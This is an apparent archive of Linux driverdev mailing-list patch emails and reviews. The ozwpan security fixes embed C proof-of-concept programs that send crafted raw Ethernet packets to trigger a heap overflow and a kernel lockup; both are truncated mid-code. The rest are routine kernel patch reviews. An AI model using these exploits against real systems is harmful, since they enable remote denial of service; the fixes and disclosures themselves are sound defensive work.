[PATCH v3 2/4] ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA,
[PATCH v3 4/4] ozwpan: unchecked signed subtraction leads to DoS
The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeo
Re: [PATCH] staging: dgnc: check return value of kzalloc
On Fri, May 29, 2015 at 01:52:28PM +0300, Dan Carpenter wrote: > On Fri, May 29, 2015 at 10:06:48AM +, Gujulan Elango, Hari Prasath (H.) > wrote: > > On Fri, May 29, 2015 at 11:54:09AM +0300, Dan Carpenter wrote: > > > On Fri, May 29, 2015 at 07:44:11AM +, Gujulan Elango, Hari Prasath > > > (H.) wrote: > > > > check return value of kzalloc and return error if it fails. > > > > > > > > > > There is a problem with your patch. See if you can spot it. Also can > > > you add to the changelog what are the user visible effects of not > > > checking for kzalloc() failure? Last time with ->flipbuf there were no > > > user visible effects. > > > > > > Also return -ENOMEM seems like the wrong thing. Shouldn't we do some > > > error handling. Also you are not working on linux-next? Some of this > > > stuff is done correctly in linux-next. > > > > > > regards, > > > dan carpenter > > > > > > > Dan,I am working on the staging-testing git tree.I was not aware that > > someone has submitted a similar patch which was reviewed by you & > > sudip.If a patch to address this has already gone in,why am I not seeing > > that change here.Am I missing something ? > > Something is wrong. You should see: > > commit fa52d96c3ea110acb77e51c856ec0b54606cc17e > Author: Giedrius Statkevičius > Date: Fri Apr 10 02:42:29 2015 +0300 > > staging: dgnc: clean up allocation of ->channels[i] > > > regards, > dan carpenter Yes Dan I was this commit and the comments.I updated my staging-testing tree regularly by doing a git pull.But I am not sure how this change went missing.Anyways this patch should be dropped. > > > > ___ > > devel mailing list > > de...@linuxdriverproject.org > > http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 13/13] android: binder: add function for processing work nodes in binder_thread_read
On Thu, May 28, 2015 at 04:08:31PM -0700, Riley Andrews wrote: > -done: > +static int binder_thread_read(struct binder_proc *proc, > + struct binder_thread *thread, > + binder_uintptr_t binder_buffer, size_t size, > + binder_size_t *consumed, int non_block) > +{ > + void __user *buffer = (void __user *)(uintptr_t)binder_buffer; > + void __user *ptr = buffer + *consumed; > + void __user *end = buffer + size; > + bool wait_for_proc_work; > + > + int ret = 0; > + > + if (*consumed == 0) { > + if (put_user(BR_NOOP, (uint32_t __user *)ptr)) > + return -EFAULT; > + ptr += sizeof(uint32_t); > + } > + > + do { > + if (thread->return_error != BR_OK) { > + ret = binder_handle_thread_error(thread, &ptr, end); > + if (ret < 0) > + return ret; > + break; > + } > + if (!thread->transaction_stack && list_empty(&thread->todo)) > + wait_for_proc_work = true; > + else > + wait_for_proc_work = false; > + > + ret = binder_wait_for_work(thread, non_block, > +wait_for_proc_work); > + if (ret) > + return ret; > + > + ret = binder_thread_read_do_work(thread, wait_for_proc_work, > + buffer, end, &ptr); > + if (ret) > + return ret; > + } while ((ptr - buffer == 4) && > + !(thread->looper & BINDER_LOOPER_STATE_NEED_RETURN) && > + ((end - ptr) >= sizeof(struct binder_transaction_data) + 4)); "end" and "buffer" don't change so we could move check: ((end - ptr) >= sizeof(struct binder_transaction_data) + 4) to the start of the function. I may have missed something because I'm not terribly familiar with this code. I don't really like the way this condition is written because if "ptr" were greater than "end" it would be true. This seems like something that might happen. Pass in bwr.read_size = 1. When we do the first ptr += sizeof(uint32_t); then "end" is less than "ptr". This condition was there in the original code as well so it's not something the patch introduced but it worries me every time I look at it, even if it turns out that it's not a problem. Please write it like: (ptr + sizeof(struct binder_transaction_data) + 4 <= end) or whatever so that we don't have to think about negative numbers. regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
On Fri, May 29, 2015 at 01:06:58PM +0200, Jason A. Donenfeld wrote: > --- a/drivers/staging/ozwpan/ozusbsvc1.c > +++ b/drivers/staging/ozwpan/ozusbsvc1.c > @@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) > case OZ_GET_DESC_RSP: { > struct oz_get_desc_rsp *body = > (struct oz_get_desc_rsp *)usb_hdr; > - int data_len = elt->length - > - sizeof(struct oz_get_desc_rsp) + 1; > - u16 offs = le16_to_cpu(get_unaligned(&body->offset)); > - u16 total_size = > + u16 offs, total_size; > + u8 data_len; > + > + if (elt->length < sizeof(struct oz_get_desc_rsp) - 1) > + break; > + data_len = elt->length - > + (sizeof(struct oz_get_desc_rsp) - 1); Gar... I'm really sorry. I wanted to Ack these and be done but why did the + 1 change to a - 1? And I had the same question about the other patch as well. Sorry for the hassle and thanks for doing this work. regarsd, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Hi, On Fri, May 29, 2015 at 2:00 PM, Dan Carpenter wrote: > On Fri, May 29, 2015 at 01:06:58PM +0200, Jason A. Donenfeld wrote: >> --- a/drivers/staging/ozwpan/ozusbsvc1.c >> +++ b/drivers/staging/ozwpan/ozusbsvc1.c >> @@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) >> case OZ_GET_DESC_RSP: { >> struct oz_get_desc_rsp *body = >> (struct oz_get_desc_rsp *)usb_hdr; >> - int data_len = elt->length - >> - sizeof(struct oz_get_desc_rsp) + 1; >> - u16 offs = le16_to_cpu(get_unaligned(&body->offset)); >> - u16 total_size = >> + u16 offs, total_size; >> + u8 data_len; >> + >> + if (elt->length < sizeof(struct oz_get_desc_rsp) - 1) >> + break; >> + data_len = elt->length - >> + (sizeof(struct oz_get_desc_rsp) - 1); > > Gar... I'm really sorry. I wanted to Ack these and be done but why did > the + 1 change to a - 1? And I had the same question about the other > patch as well. I would say that it is because part of the expression has been placed inside parentheses: a - b + 1 == a - (b - 1) Guess it makes the decision logic slightly more readable. Frans ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [RFC][PATCH] x86: remove vmalloc.h from asm/io.h
Hi Ingo, On Fri, 29 May 2015 11:21:05 +0200 Ingo Molnar wrote: > > Good idea. > > Acked-by: Ingo Molnar Thanks. > Please also test x86 allnoconfig and defconfig 32/64, that tends to unearth > the > remaining places. People doing randconfig testing will find the rest. Good idea. the allnoconfigs produced this further patch. I will squash it into the original. The defconfigs built ok. From: Stephen Rothwell Date: Fri, 29 May 2015 22:01:41 +1000 Subject: [PATCH] x86: more fixes for removing vmalloc.h fron asm/io.h Signed-off-by: Stephen Rothwell --- arch/x86/include/asm/io.h | 1 + include/linux/io.h| 1 + 2 files changed, 2 insertions(+) diff --git a/arch/x86/include/asm/io.h b/arch/x86/include/asm/io.h index 5791e7ace9db..2a3543a4db1d 100644 --- a/arch/x86/include/asm/io.h +++ b/arch/x86/include/asm/io.h @@ -40,6 +40,7 @@ #include #include #include +#include #define build_mmio_read(name, size, type, reg, barrier) \ static inline type name(const volatile void __iomem *addr) \ diff --git a/include/linux/io.h b/include/linux/io.h index 986f2bffea1e..cb753a2450b8 100644 --- a/include/linux/io.h +++ b/include/linux/io.h @@ -19,6 +19,7 @@ #define _LINUX_IO_H #include +#include #include #include -- 2.1.4 -- Cheers, Stephen Rothwells...@canb.auug.org.au pgp3xKtZ8kJk0.pgp Description: OpenPGP digital signature ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Oh. Duh. Of course. Acked-by: Dan Carpenter regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [RFC][PATCH] x86: remove vmalloc.h from asm/io.h
At Fri, 29 May 2015 19:18:47 +1000, Stephen Rothwell wrote: > > Nothing in asm/io.h uses anything from vmalloc.h, so remove the include > and fix up the build problems in an allmodconfig (64 bit and 32 bit) > build. > > This may be the place where x86 builds get vmalloc.h implicitly included > and that tends to hide places where vmalloc() et al are added to files > but the include of vmalloc.h is forgotten. > > Cc: Thomas Gleixner > Cc: Ingo Molnar > Cc: "H. Peter Anvin" > Cc: > Cc: Konrad Rzeszutek Wilk > Cc: Boris Ostrovsky > Cc: David Vrabel > Cc: Anton Vorontsov > Cc: Colin Cross > Cc: Kees Cook > Cc: Tony Luck > Cc: "Rafael J. Wysocki" > Cc: Len Brown > Cc: Kristen Carlson Accardi > Cc: Viresh Kumar > Cc: Vinod Koul > Cc: "K. Y. Srinivasan" > Cc: Haiyang Zhang > Cc: Hiral Patel > Cc: Suma Ramars > Cc: Brian Uchino > Cc: "James E.J. Bottomley" > Cc: Jaroslav Kysela > Cc: Takashi Iwai For the sound bits, Acked-by: Takashi Iwai thanks, Takashi > Cc: Andrew Morton > Suggested-by: David Miller > Signed-off-by: Stephen Rothwell > > --- > > Based in Linus' tree of today. > > There are probably more places that need vmalloc.h included, but this > passes 64 bit and 32 bit allmodconfig builds, so is a place to start. > > Dave Miller suggested that I start this journey. > > arch/x86/include/asm/io.h | 2 -- > arch/x86/kernel/crash.c| 1 + > arch/x86/kernel/machine_kexec_64.c | 1 + > arch/x86/mm/pageattr-test.c| 1 + > arch/x86/mm/pageattr.c | 1 + > arch/x86/xen/p2m.c | 1 + > drivers/acpi/apei/erst.c | 1 + > drivers/cpufreq/intel_pstate.c | 1 + > drivers/dma/mic_x100_dma.c | 1 + > drivers/net/hyperv/netvsc.c| 1 + > drivers/net/hyperv/rndis_filter.c | 1 + > drivers/scsi/fnic/fnic_debugfs.c | 1 + > drivers/scsi/fnic/fnic_trace.c | 1 + > sound/pci/asihpi/hpioctl.c | 1 + > 14 files changed, 13 insertions(+), 2 deletions(-) > > diff --git a/arch/x86/include/asm/io.h b/arch/x86/include/asm/io.h > index 34a5b93704d3..5791e7ace9db 100644 > --- a/arch/x86/include/asm/io.h > +++ b/arch/x86/include/asm/io.h > @@ -197,8 +197,6 @@ extern void set_iounmap_nonlazy(void); > > #include > > -#include > - > /* > * Convert a virtual cached pointer to an uncached pointer > */ > diff --git a/arch/x86/kernel/crash.c b/arch/x86/kernel/crash.c > index c76d3e37c6e1..e068d6683dba 100644 > --- a/arch/x86/kernel/crash.c > +++ b/arch/x86/kernel/crash.c > @@ -22,6 +22,7 @@ > #include > #include > #include > +#include > > #include > #include > diff --git a/arch/x86/kernel/machine_kexec_64.c > b/arch/x86/kernel/machine_kexec_64.c > index 415480d3ea84..11546b462fa6 100644 > --- a/arch/x86/kernel/machine_kexec_64.c > +++ b/arch/x86/kernel/machine_kexec_64.c > @@ -17,6 +17,7 @@ > #include > #include > #include > +#include > > #include > #include > diff --git a/arch/x86/mm/pageattr-test.c b/arch/x86/mm/pageattr-test.c > index 6629f397b467..8ff686aa7e8c 100644 > --- a/arch/x86/mm/pageattr-test.c > +++ b/arch/x86/mm/pageattr-test.c > @@ -9,6 +9,7 @@ > #include > #include > #include > +#include > > #include > #include > diff --git a/arch/x86/mm/pageattr.c b/arch/x86/mm/pageattr.c > index 89af288ec674..bedfc794b4ba 100644 > --- a/arch/x86/mm/pageattr.c > +++ b/arch/x86/mm/pageattr.c > @@ -14,6 +14,7 @@ > #include > #include > #include > +#include > > #include > #include > diff --git a/arch/x86/xen/p2m.c b/arch/x86/xen/p2m.c > index b47124d4cd67..8b7f18e200aa 100644 > --- a/arch/x86/xen/p2m.c > +++ b/arch/x86/xen/p2m.c > @@ -67,6 +67,7 @@ > #include > #include > #include > +#include > > #include > #include > diff --git a/drivers/acpi/apei/erst.c b/drivers/acpi/apei/erst.c > index ed65e9c4b5b0..3670bbab57a3 100644 > --- a/drivers/acpi/apei/erst.c > +++ b/drivers/acpi/apei/erst.c > @@ -35,6 +35,7 @@ > #include > #include > #include > +#include > #include > > #include "apei-internal.h" > diff --git a/drivers/cpufreq/intel_pstate.c b/drivers/cpufreq/intel_pstate.c > index 6414661ac1c4..2ba53f4f6af2 100644 > --- a/drivers/cpufreq/intel_pstate.c > +++ b/drivers/cpufreq/intel_pstate.c > @@ -26,6 +26,7 @@ > #include > #include > #include > +#include > #include > > #include > diff --git a/drivers/dma/mic_x100_dma.c b/drivers/dma/mic_x100_dma.c > index 6de2e677be04..74d9db05a5ad 100644 > --- a/drivers/dma/mic_x100_dma.c > +++ b/drivers/dma/mic_x100_dma.c > @@ -22,6 +22,7 @@ > #include > #include > #include > +#include > > #include "mic_x100_dma.h" > > diff --git a/drivers/net/hyperv/netvsc.c b/drivers/net/hyperv/netvsc.c > index ea091bc5ff09..1e09243d5449 100644 > --- a/drivers/net/hyperv/netvsc.c > +++ b/drivers/net/hyperv/netvsc.c > @@ -28,6 +28,7 @@ > #include > #include > #include > +#include > #include > > #include "hyperv_net.h" > diff --git a/drivers/net/hyperv/rndis_filter.c
[PATCH] Removing unnecessary return statements
--- drivers/staging/comedi/drivers/adv_pci1724.c | 6 +- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/drivers/staging/comedi/drivers/adv_pci1724.c b/drivers/staging/comedi/drivers/adv_pci1724.c index f7a7dab..9677111 100644 --- a/drivers/staging/comedi/drivers/adv_pci1724.c +++ b/drivers/staging/comedi/drivers/adv_pci1724.c @@ -180,11 +180,7 @@ static int adv_pci1724_auto_attach(struct comedi_device *dev, s->insn_write = adv_pci1724_insn_write; s->private = (void *)PCI1724_DAC_CTRL_MODE_GAIN; - ret = comedi_alloc_subdev_readback(s); - if (ret) - return ret; - - return 0; + return comedi_alloc_subdev_readback(s); } static struct comedi_driver adv_pci1724_driver = { -- 2.1.4 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] Removing unnecessary return statements
On 29/05/15 14:01, Sharma, Abhishek (A.) wrote: --- drivers/staging/comedi/drivers/adv_pci1724.c | 6 +- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/drivers/staging/comedi/drivers/adv_pci1724.c b/drivers/staging/comedi/drivers/adv_pci1724.c index f7a7dab..9677111 100644 --- a/drivers/staging/comedi/drivers/adv_pci1724.c +++ b/drivers/staging/comedi/drivers/adv_pci1724.c @@ -180,11 +180,7 @@ static int adv_pci1724_auto_attach(struct comedi_device *dev, s->insn_write= adv_pci1724_insn_write; s->private = (void *)PCI1724_DAC_CTRL_MODE_GAIN; - ret = comedi_alloc_subdev_readback(s); - if (ret) - return ret; - - return 0; + return comedi_alloc_subdev_readback(s); } static struct comedi_driver adv_pci1724_driver = { The patch needs a better subject line and a brief description to localize the problem it is fixing, and it also needs a "Signed-off-by:" line. -- -=( Ian Abbott @ MEV Ltd.E-mail: )=- -=( Web: http://www.mev.co.uk/ )=- ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] Staging: comedi: Remove redundant return statements
Replace unnecessary conditional checks for variable 'ret' and replace by single return statement. Signed-off-by: Abhishek Sharma diff --git a/drivers/staging/comedi/drivers/adv_pci1724.c b/drivers/staging/comedi/drivers/adv_pci1724.c index f7a7dab..9677111 100644 --- a/drivers/staging/comedi/drivers/adv_pci1724.c +++ b/drivers/staging/comedi/drivers/adv_pci1724.c @@ -180,11 +180,7 @@ static int adv_pci1724_auto_attach(struct comedi_device *dev, s->insn_write = adv_pci1724_insn_write; s->private = (void *)PCI1724_DAC_CTRL_MODE_GAIN; - ret = comedi_alloc_subdev_readback(s); - if (ret) - return ret; - - return 0; + return comedi_alloc_subdev_readback(s); } static struct comedi_driver adv_pci1724_driver = { -- 2.1.4 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
re: Drivers: hv: kvp: convert to hv_utils_transport
Hello Vitaly Kuznetsov, The patch 11bc3a5fa91f: "Drivers: hv: kvp: convert to hv_utils_transport" from Apr 11, 2015, leads to the following static checker warning: drivers/hv/hv_kvp.c:356 kvp_send_key() error: potential null dereference 'message'. (kzalloc returns null) drivers/hv/hv_kvp.c 351 /* The transaction state is wrong. */ 352 if (kvp_transaction.state != HVUTIL_HOSTMSG_RECEIVED) 353 return; 354 355 message = kzalloc(sizeof(*message), GFP_KERNEL); ^^^ The patch accidentally removes the NULL check on allocation failure. 356 message->kvp_hdr.operation = operation; 357 message->kvp_hdr.pool = pool; 358 in_msg = kvp_transaction.kvp_msg; 359 regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[patch] hv: util: checking the wrong variable
We don't catch this allocation failure because there is a typo and we check the wrong variable. Fixes: 14b50f80c32d ('Drivers: hv: util: introduce hv_utils_transport abstraction') Signed-off-by: Dan Carpenter diff --git a/drivers/hv/hv_utils_transport.c b/drivers/hv/hv_utils_transport.c index ea7ba5e..6a9d80a 100644 --- a/drivers/hv/hv_utils_transport.c +++ b/drivers/hv/hv_utils_transport.c @@ -186,7 +186,7 @@ int hvutil_transport_send(struct hvutil_transport *hvt, void *msg, int len) return -EINVAL; } else if (hvt->mode == HVUTIL_TRANSPORT_NETLINK) { cn_msg = kzalloc(sizeof(*cn_msg) + len, GFP_ATOMIC); - if (!msg) + if (!cn_msg) return -ENOMEM; cn_msg->id.idx = hvt->cn_id.idx; cn_msg->id.val = hvt->cn_id.val; ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
On Fri, May 29, 2015 at 2:41 PM, Dan Carpenter wrote: > Acked-by: Dan Carpenter Acked for the rest of the set too? ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
On Fri, May 29, 2015 at 2:36 PM, Frans Klaver wrote: > > I would say that it is because part of the expression has been placed > inside parentheses: > > a - b + 1 == a - (b - 1) > > Guess it makes the decision logic slightly more readable. Yes, exactly this. It's so that the bounding check conditional prior looks identical to the actual subtraction, making it much easier to read and verify. ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] Staging: comedi: Remove redundant return statements
On 29/05/15 15:29, Sharma, Abhishek (A.) wrote: Replace unnecessary conditional checks for variable 'ret' and replace by single return statement. Signed-off-by: Abhishek Sharma diff --git a/drivers/staging/comedi/drivers/adv_pci1724.c b/drivers/staging/comedi/drivers/adv_pci1724.c index f7a7dab..9677111 100644 --- a/drivers/staging/comedi/drivers/adv_pci1724.c +++ b/drivers/staging/comedi/drivers/adv_pci1724.c @@ -180,11 +180,7 @@ static int adv_pci1724_auto_attach(struct comedi_device *dev, s->insn_write= adv_pci1724_insn_write; s->private = (void *)PCI1724_DAC_CTRL_MODE_GAIN; - ret = comedi_alloc_subdev_readback(s); - if (ret) - return ret; - - return 0; + return comedi_alloc_subdev_readback(s); } static struct comedi_driver adv_pci1724_driver = { That's better your previous patch submission. It would be nice if it included the driver name in the patch summary, e.g.: staging: comedi: adv_pci1724: -- -=( Ian Abbott @ MEV Ltd.E-mail: )=- -=( Web: http://www.mev.co.uk/ )=- ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [RFC][PATCH] x86: remove vmalloc.h from asm/io.h
Hi Takashi, On Fri, 29 May 2015 14:43:14 +0200 Takashi Iwai wrote: > > For the sound bits, > Acked-by: Takashi Iwai Thanks, noted. -- Cheers, Stephen Rothwells...@canb.auug.org.au pgpcAWfsHc9aM.pgp Description: OpenPGP digital signature ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
On Fri, May 29, 2015 at 05:20:52PM +0200, Jason A. Donenfeld wrote: > On Fri, May 29, 2015 at 2:41 PM, Dan Carpenter > wrote: > > Acked-by: Dan Carpenter > > Acked for the rest of the set too? Yes. Thanks. regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] staging: unisys: use schedule_timeout_interruptible()
API consolidation with coccinelle found: ./drivers/staging/unisys/visorbus/periodic_work.c:196:3-19: consolidation with schedule_timeout_*() recommended This is a 1:1 conversion with respect to schedule_timeout() to the schedule_timeout_interruptible() helper only - so only an API consolidation to improve readability. The hard coded timeout of 10 jiffies is HZ dependent which it should not be, so it is converted with msecs_to_jiffies. Patch was compile tested with x86_64_defconfig + CONFIG_STAGING=y, CONFIG_UNISYSSPAR=y, CONFIG_UNISYS_VISORBUS=m Patch is against 4.1-rc5 (localversion-next is -next-20150529) Signed-off-by: Nicholas Mc Guire --- As the actually intended timeout is not documented and msecs_to_jiffies timeouts can be a factor 10 different from the current effective timeout this needs to be checked by someone who knows the details of this driver in any case it should be passed in a HZ independent manner. drivers/staging/unisys/visorbus/periodic_work.c |3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/drivers/staging/unisys/visorbus/periodic_work.c b/drivers/staging/unisys/visorbus/periodic_work.c index 3562e8b..5e56088 100644 --- a/drivers/staging/unisys/visorbus/periodic_work.c +++ b/drivers/staging/unisys/visorbus/periodic_work.c @@ -192,8 +192,7 @@ bool visor_periodic_work_stop(struct periodic_work *pw) } if (pw->is_scheduled) { write_unlock(&pw->lock); - __set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout(10); + schedule_timeout_interruptible(msecs_to_jiffies(10)); write_lock(&pw->lock); } else { pw->want_to_stop = false; -- 1.7.10.4 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
FW: [PATCH] Staging: vt6655: Remove unnecessary equality checks in rxtx.c
